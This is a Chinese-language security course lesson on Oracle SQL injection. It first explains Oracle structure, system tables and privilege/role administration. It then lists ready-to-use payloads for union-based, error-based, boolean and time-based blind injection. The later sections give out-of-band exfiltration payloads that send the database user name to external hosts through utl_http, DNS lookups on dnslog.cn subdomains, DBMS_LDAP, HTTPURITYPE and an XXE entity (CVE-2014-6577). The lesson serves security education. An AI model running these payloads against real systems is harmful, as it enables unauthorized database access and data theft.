网络安全进阶学习第十五课——Oracle SQL注入

---

一、Oracle数据库介绍

Oracle数据库系统是世界上流行的关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

Oracle服务默认端口：1521

Oracle和MySQL数据库语法大致相同，结构不太相同。最大的一个特点就是oracle可以调用Java代码。

Oracle要求select … from 后必须要有查询的表名

---

二、Oracle和MySQL的语法差异：

1. Oracle要求select后必须指明要查询的表名，可以用dual。

2. Oracle使用 || 拼接字符串，MySQL中为或运算。
   

3. 单引号和双引号在Oracle中虽然都是字符串，但是双引号可以用来消除关键字，比如sysdate。

4. Oracle中limit应该使用虚表中的rownum字段通过where条件判断。
   

5. Oracle中没有空字符，'‘和’null’都是null，而MySQL中认为’'仍然是一个字符串。

6. Oracle对数据格式要求严格，比如union select的时候

---

三、Oracle的数据库结构

对于“数据库”这个概念而言，Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的，这些数据文件和相关文件形成一个完整的数据库。

当数据库创建时，Oracle 会默认创建五个库：SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP：

1. SYSTEM：这个用于是存储系统表和管理配置等基本信息
2. SYSAUX：类似于 SYSTEM，主要存放一些系统附加信息，以便减轻 SYSTEM 的空间负担
3. UNDOTBS：用于事务回退等
4. TEMP：作为缓存空间减少内存负担
5. USERS：就是存储我们定义的表和数据

在Oracle中每个库中均存在一张dual表，这个表是虚表，并没有实际的存储意义，它永远只存储一条数据，因为Oracle的SQL语法要求select后必须跟上from，所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位。举例：select 1+1 from dual。

Oracle要求select后必须指明要查询的表名，可以用dual。

---

四、Oracle的重点系统表

• – dba_tables : 系统里所有的表的信息，需要DBA权限才能查询
• – all_tables : 当前用户有权限的表的信息
• – user_tables: 当前用户名下的表的信息
• – DBA_ALL_TABLES：DBA 用户所拥有的或有访问权限的对象和表
• – ALL_ALL_TABLES：某一用户拥有的或有访问权限的对象和表
• – USER_ALL_TABLES：某一用户所拥有的对象和表

---

五、Oracle权限分类

在Oracle中，根据系统管理方式不同，将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上，在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。

• 系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。

• 实体权限：某种权限用户对其它用户的表或视图的存取权限。（是针对表或视图而言的）。

1、系统权限

• DBA：拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构。
• RESOURCE：拥有Resource权限的用户只可以创建实体，不可以创建数据库结构。
• CONNECT：拥有Connect权限的用户只可以登录Oracle，不可以创建实体，不可以创建数据库结构。

对于普通用户：授予connect, resource权限。

对于DBA管理用户：授予connect，resource, dba权限。

系统权限授权命令： 
系统权限只能由DBA用户授出：sys, system(最开始只能是这两个用户) 授权命令：
SQL> grant connect, resource, dba to 用户名1 [,用户名2]…; 
注:普通用户通过授权可以具有与system相同的用户权限，但永远不能达到与sys用户相同的权限，system用户的权限也可以被回收。 例： 
SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50;查询用户拥有哪里权限： 
SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs;查自己拥有哪些系统权限：
SQL> select * from session_privs;删除用户：
SQL> drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除系统权限传递：增加WITH ADMIN OPTION选项，则得到的权限可以传递。 
SQL> grant connect, resorce to user50 with admin option; //可以传递所获权限。系统权限回收：系统权限只能由DBA用户回收
SQL> Revoke connect, resource from user50;说明： 
1）如果使用WITH ADMIN OPTION为某个用户授予系统权限，那么对于被这个用户授予相同权限的所有用户来说，取消该用户的系统权限并不会级联取消这些用户的相同权限。 
2）系统权限无级联，即A授予B权限，B授予C权限，如果A收回B的权限，C的权限不受影响；系统权限可以跨用户回收，即A可以直接收回C用户的权限。

2、实体权限

• select, update, insert, alter, index, delete, all
  #all包括所有权限
• execute
  #执行存储过程权限

user01: 
SQL> grant select, update, insert on product to user02; 
SQL> grant all on product to user02;user02: 
SQL> select * from user01.product; 
// 此时user02查user_tables，不包括user01.product这个表，但如果查all_tables则可以查到，因为他可以访问。将表的操作权限授予全体用户：
SQL> grant all on product to public; 
// public表示是所有的用户，这里的all权限不包括drop。实体权限数据字典：
SQL> select owner, table_name from all_tables; // 用户可以查询的表 
SQL> select table_name from user_tables; // 用户创建的表 
SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表（被授权的） 
SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)DBA用户可以操作全体用户的任意基表(无需授权，包括删除)：DBA用户： 
SQL> Create table stud02.product( id number(10), name varchar2(20)); 
SQL> drop table stud02.emp;SQL> create table stud02.employee as select * from scott.emp;实体权限传递(with grant option)：
user01: SQL> grant select, update on product to user02 with grant option; 
// user02得到权限，并可以传递。实体权限回收：
user01: 
SQL>Revoke select, update on product from user02; 
//传递的权限将全部丢失。说明:
如果取消某个用户的对象权限，那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说，同样还会取消这些用户的相同权限，也就是说取消授权时级联的。

3、管理角色

建一个角色：
sql>create role role1;授权给角色：
sql>grant create any table,create procedure to role1;授予角色给用户：
sql>grant role1 to user1;查看角色所包含的权限：
sql>select * from role_sys_privs;创建带有口令以角色(在生效带有口令的角色时必须提供口令)：
sql>create role role1 identified by password1;修改角色：是否需要口令
sql>alter role role1 not identified; 
sql>alter role role1 identified by password1;设置当前用户要生效的角色 (注：角色的生效是一个什么概念呢？假设用户a有b1,b2,b3三个角色，
那么如果b1未生效，则b1所包含的权限对于a来讲是不拥有的，
只有角色生效了，角色内的权限才作用于用户，
最大可生效角色数由参数MAX_ENABLED_ROLES设定；
在用户登录后，oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。） sql>set role role1; //使role1生效 
sql>set role role,role2; //使role1,role2生效 
sql>set role role1 identified by password1; //使用带有口令的role1生效 
sql>set role all; //使用该用户的所有角色生效 
sql>set role none; //设置所有角色失效 
sql>set role all except role1; //除role1外的该用户的所有其它角色生效。 
sql>select * from SESSION_ROLES; //查看当前用户的生效的角色。修改指定用户，设置其默认角色
sql>alter user user1 default role role1;
sql>alter user user1 default role all except role1;删除角色 
sql>drop role role1;角色删除后，原来拥用该角色的用户就不再拥有该角色了，相应的权限也就没有了。说明: 
1)无法使用WITH GRANT OPTION为角色授予对象权限 
2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

---

六、oracle常用信息查询方法

1、获取数据库版本信息

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25';

2、获取操作系统版本信息

SELECT banner FROM v$version WHERE banner LIKE 'TNS%25';

3、获取当前数据库

SELECT name FROM v$database;

4、获取数据库用户

SELECT user FROM dual;

5、获取所有数据库用户

SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限

6、获取当前用户权限

SELECT * FROM session_privs;

7、获取当前用户有权限的所有数据库

SELECT DISTINCT owner, table_name FROM all_tables;

8、获取表，all_tables类似于MySQL中的information_schema.tables

SELECT * FROM all_tables;

9、获取字段名

SELECT column_name FROM all_tab_columns;

10、在Oracle启动时，在 userenv 中存储了一些系统上下文信息，通过 SYS_CONTEXT 函数，我们可以取回相应的参数值。包括当前用户名等等。

SELECT SYS_CONTEXT（'USERENV'，'SESSION_USER'） from dual;

---

七、联合查询注入

1、order by 猜字段数量

union select进行查询，需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位，然后逐位判断每个字段的类型，举例：

?username=admin' union select null,null,null from dual --+ 正常
?username=admin' union select 1,null,null from dual --+ 正常说明第一个字段是数字型
?username=admin' union select 1,2,null from dual --+ 第二个字段为数字时错误
?username=admin' union select 1,'asd',null from dual --+ 正常，就为字符串 依此类推

2、查数据库版本和用户名

?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --+

3、查当前数据库

?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --+

4、查表

wmsys.wm_concat()等同于MySQL中的group_concat()，在11gr2和12C上已经抛弃，可以用LISTAGG()替代

但是LISTAGG()返回的是varchar类型，如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。

?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --+

5、查字段

?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --

---

八、报错注入

报错注入常用函数：
1、utl_inaddr.get_host_name

select utl_inaddr.get_host_name((select user from dual)) from dual;

11g之后，使用此函数的数据库用户需要有访问网络的权限

2、ctxsys.drithsx.sn

select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

处理文本的函数，参数错误时会报错。

3、CTXSYS.CTX_REPORT.TOKEN_TYPE

select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;

4、XMLType

?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --+

注意url编码，如果返回的数据有空格的话，它会自动截断，导致数据不完整，这种情况下先转为 hex，再导出。

5、dbms_xdb_version.checkin

select dbms_xdb_version.checkin((select user from dual)) from dual;

6、dbms_xdb_version.makeversioned

select dbms_xdb_version.makeversioned((select user from dual)) from dual;

7、dbms_xdb_version.uncheckout

select dbms_xdb_version.uncheckout((select user from dual)) from dual;

8、dbms_utility.sqlid_to_sqlhash

SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

9、ordsys.ord_dicom.getmappingxpath

select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

10、UTL_INADDR.get_host_name

select UTL_INADDR.get_host_name((select user from dual)) from dual;

11、UTL_INADDR.get_host_address

select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

---

九、盲注

1、布尔盲注

使用简单的字符串比较来进行，比如：

?username=admin' and (select substr(user, 1, 1) from dual)='S' --

通过decode配合除数为0来进行布尔盲注，比如：

?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --+

2、时间盲注

时间延迟函数：DBMS_PIPE.RECEIVE_MESSAGE()函数
dbms_pipe.receive_message(‘RDS’, 10) #将为从RDS管道返回的数据等待10秒。

select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

还可以配合decode：

select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;

---

十、带外OOB

类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限，有限制。

1、需要出外网HTTP

使用函数：utl_http.request()

select utl_http.request('http://localhost:8080/index?username=' || (select user from dual)) from dual;

2、dns解析带外

使用函数：utl_inaddr.get_host_address

select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual;

3、SYS.DBMS_LDAP.INIT

SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;

这个函数在 10g/11g 中是 public 权限

4、HTTPURITYPE

SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;

5、Oracle XXE (CVE-2014-6577)

说是xxe，实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp

1. http

select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual); 

2. ftp

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

---